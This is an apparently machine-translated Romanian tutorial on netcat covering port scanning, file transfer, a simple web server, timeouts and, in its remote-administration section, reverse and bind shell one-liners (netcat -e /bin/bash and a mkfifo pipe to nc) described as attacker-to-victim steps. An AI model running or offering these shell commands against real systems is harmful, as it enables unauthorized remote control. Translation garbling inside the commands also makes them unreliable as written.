O scurtă diferență între netcat-traditional și netcat-openbsd
Există două pachete similare disponibile pentru netcat cu o ușoară diferență între ele.
netcat-tradițional include o opțiune suplimentară „-e” care poate fi utilizată pentru legarea unui program (i.e bash) cu netcat. Această caracteristică este foarte utilă în scopuri de administrare la distanță.
netcat-openbsd au un sprijin suplimentar pentru IPv6 și proxy.
Instalare Netcat
Deși netcat este preinstalat în majoritatea distribuțiilor Linux, dar dacă nu, poate fi instalat cu ușurință folosind următoarele comenzi.
Pentru pachetul tradițional,
[e-mail protejat]: ~ $ sudo apt-get install netcat-traditionalPentru versiunea openbsd,
[e-mail protejat]: ~ $ sudo apt-get install netcat-openbsdNetcat pentru Windows poate fi descărcat de aici https: // sourceforge.net / projects / nc110 / files /.
Acum vom explora câteva cazuri de utilizare interesante ale netcat
Scanarea porturilor folosind netcat
Pentru a căuta porturi deschise, utilizați opțiunea „-z”. Netcat va încerca să se conecteze la fiecare port fără a trimite date sau date foarte limitate în cazul UDP. Tastați următoarele
[e-mail protejat]: ~ $ nc -z -v hackme.org 80... trage ..
hackme.org [217.78.1.155] 80 (http) deschis
Pentru a căuta o gamă de porturi, tastați
[protejat prin e-mail]: ~ $ nc -z -nv 192.168.100.72 20-80(NECUNOSCUT) [192.168.100.72] 80 (http) deschis
(NECUNOSCUT) [192.168.100.72] 22 (ssh) deschis
Transfer de fișiere cu netcat
Un alt caz de utilizare util al netcat este transferul de fișiere între computere la distanță. Puteți trimite texte și fișiere binare de pe un PC pe alt PC. Vom încerca să trimitem un fișier „fișier.pdf ”de la PC Linux la PC Windows [IP 192.168.100.72] folosind netcat ca exemplu.
Pe aparatul Windows (receptor), tastați următoarele
C: \ Users> nc -nvlp 1337> fișier.pdfAscultând la [0.0.0.0] (familia 2, portul 1337)
Pe mașina Linux (expeditor), tastați următoarele
[e-mail protejat]: ~ $ nc -nv 192.168.100.72 1337 < file.pdfConexiune la 192.168.100.72 1337 port [tcp / *] a reușit!
Administrare la distanță cu netcat
Unul dintre cele mai bune cazuri de utilizare a netcat este administrarea de la distanță, ceea ce înseamnă că puteți controla computerul altcuiva folosind netcat. Netcat-traditional vine cu opțiunea „-e” care poate fi utilizată pentru a lega un program (i.e cmd.exe în Windows sau bash în Linux) cu un port, ceea ce înseamnă că netcat va acționa ca comunicator între program și computerul de la distanță. Netcat va primi comenzi de pe computerul de la distanță, se va executa pe sistemul local și va trimite rezultatele înapoi la computerul de la distanță. Această caracteristică este utilizată pe scară largă în scopuri rău intenționate, pentru a păstra ușile din spate în computerele și serverele. Această caracteristică este disponibilă doar în netcat-traditional, dar cu un mic truc, netcat-openbsd poate fi folosit și în același scop. Puteți utiliza două moduri de a controla computerul altora.
Într-o Reverse Shell conexiune, un atacator ascultă un port și așteaptă ca o conexiune să fie trimisă de la mașina victimei. Este folosit atunci când computerul victimei se află în spatele NAT sau nu are un IP public.
Pentru a obține un shell invers utilizând netcat, trebuie să ascultați pe un port folosind netcat. Tastați următoarele pe mașina atacatorului,
[e-mail protejat]: ~ $ nc -nvlp 1337Ascultând la [0.0.0.0] (familia 2, portul 1337)
Pe aparatul victimei (dacă netcat-tradițional este instalat)
// înlocuiți „/ bin / bash” cu „cmd.exe ”în cazul Windows
[protejat prin e-mail]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bashPentru netcat-openbsd (unde opțiunea „-e” nu este acceptată)
[e-mail protejat]: ~ $ rm / tmp / f; mkfifo / tmp / f; cat/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f
În timp ce se afla într-un Bind Shell conexiune, atacatorul leagă un port de pe mașina victimei și se conectează la acel port folosind soclul clientului. Se folosește atunci când mașina atacatorului se află în spatele NAT sau nu are un IP public.
Pe mașina victimei, tastați
[protejat prin e-mail]: ~ $ nc -nlvp 1337 -e / bin / bashascultând pe [orice] 1337 ..
Acum, pentru a rula comenzi pe mașina victimă, tastați
[e-mail protejat]: ~ $ nc -nv 127.0.0.1 1337Conexiune la 127.0.0.1 portul 1337 [tcp / *] a reușit!
$ id
uid = 1000 (azad) gid = 1000 (azad) grupuri = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)
Server Web simplu folosind netcat
De asemenea, puteți face un alt truc simplu pentru a utiliza netcat ca server web cu o singură pagină. Acest server web ar fi foarte simplu, fără configurații speciale, și vom folosi pentru a trimite codul nostru HTML la browser.
[e-mail protejat]: ~ $ în timp ce este adevărat; echo -e "HTTP / 1.1 200 OK \ n \ n $ (ecou "
My Simple Webserver folosind netcat
")" | nc -nvlp 1337; TerminatAscultând la [0.0.0.0] (familia 2, portul 1337)
Acum, încercați să preluați pagina web folosind curl
[protejat prin e-mail]: ~ $ curl http: // 127.0.0.1: 1337 /My Simple Webserver folosind netcat
Specificați Timeout pentru o sesiune netcat
Puteți specifica timeout-ul pentru o sesiune netcat folosind opțiunea „-w”. Netcat își va deconecta automat sesiunea după expirarea timpului specificat.
// -w [Timp în secunde][protejat prin e-mail]: ~ $ nc -w 40 -nvlp 1337
Ascultând la [0.0.0.0] (familia 2, portul 1234)
Continuați să ascultați chiar dacă Clientul închide conexiunea
În modul normal, serverul netcat se oprește și nu mai ascultă pe port atunci când un client închide conexiunea. Puteți menține serverul activ utilizând opțiunea „-k”
[protejat prin e-mail]: ~ $ nc -k -nlvp 1234Ascultând la [0.0.0.0] (familia 2, portul 1234)
Concluzie
Netcat este un utilitar simplu, dar eficient, care poate fi utilizat pentru o mulțime de sarcini zilnice simple. Vine preinstalat în aproape toate sistemele de operare UNIX, cum ar fi sistemele de operare și poate fi utilizat pentru diverse sarcini, cum ar fi comunicarea între două PC-uri, transferul de fișiere și multe altele.